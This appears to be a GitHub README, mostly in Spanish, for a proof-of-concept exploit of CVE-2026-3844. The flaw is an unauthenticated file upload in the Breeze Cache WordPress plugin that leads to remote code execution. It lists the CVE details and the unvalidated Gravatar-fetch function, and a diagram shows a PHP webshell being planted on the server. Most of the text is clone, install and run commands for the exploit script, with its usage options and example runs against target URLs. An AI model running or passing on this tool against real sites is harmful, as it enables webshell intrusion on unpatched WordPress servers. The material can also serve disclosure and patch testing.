
Exploit PoC para CVE-2026-3844, una vulnerabilidad crítica de subida de archivos sin autenticación en el plugin Breeze de WordPress que conduce a RCE.
Exploit PoC para CVE-2026-3844, una vulnerabilidad crítica de subida arbitraria de archivos sin autenticación en el plugin Breeze de WordPress que conduce a RCE.
CVE-2026-3844 es una vulnerabilidad CRÍTICA de subida arbitraria de archivos sin autenticación en el plugin de WordPress Breeze Cache (de Cloudways), que afecta a todas las versiones hasta la 2.4.4 incluida.
Este repositorio proporciona un exploit de Prueba de Concepto (PoC) (CVE-2026-3844.py) para investigación de seguridad autorizada, pruebas de penetración y divulgación responsable.
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-3844 |
| Plugin | Breeze Cache (de Cloudways) |
| Versiones afectadas | Todas las versiones ≤ 2.4.4 |
| Versión parcheada | Breeze 2.4.5+ |
| Tipo de vulnerabilidad | CWE-434 — Subida sin restricciones de archivos con tipo peligroso |
| Puntuación CVSS v3.1 | 9.8 (CRÍTICA) |
| Puntuación CVSS v2.0 | 10.0 (CRÍTICA) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vector de ataque | Red (remoto) |
| Autenticación requerida | ❌ Ninguna — Sin autenticación |
| Condición | "Host Files Locally – Gravatars" debe estar habilitada (deshabilitada por defecto) |
| Impacto | Confidencialidad: ALTA · Integridad: ALTA · Disponibilidad: ALTA |
| Publicado | 2026-04-23 |
| Fuente | Wordfence / NVD / MITRE |
| PoC | Tausif Zaman |
El plugin Breeze Cache para WordPress obtiene imágenes de Gravatar remotas y las almacena localmente cuando la función "Host Files Locally – Gravatars" está habilitada. La función vulnerable fetch_gravatar_from_remote en class-breeze-cache-cronjobs.php (líneas 89–119) no realiza ninguna validación de tipo de archivo ni de extensión sobre el contenido remoto obtenido.
class-breeze-cache-cronjobs.php
└── fetch_gravatar_from_remote() ← ❌ No file type validation
└── Saves remote content directly to disk
└── Attacker controls → uploads .php webshell → RCE
Attacker (Unauthenticated)
│
▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
│
▼
Plugin fetches & saves the .php file without validation
│
▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
│
▼
Attacker accesses webshell → Full RCE achieved
Si se explota con éxito, un atacante puede:
requests# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py
# Navigate into the directory
cd CVE-2026-3844
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py
pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
python3 CVE-2026-3844.py
usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]
CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC
optional arguments:
-h, --help Show this help message and exit
-u URL, --url URL Target URL (e.g. https://target.com)
-t TIMEOUT Request timeout in seconds (default: 10)
-o OUTPUT Save webshell path to output file
-v, --verbose Enable verbose/debug output
# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com
# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v
# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v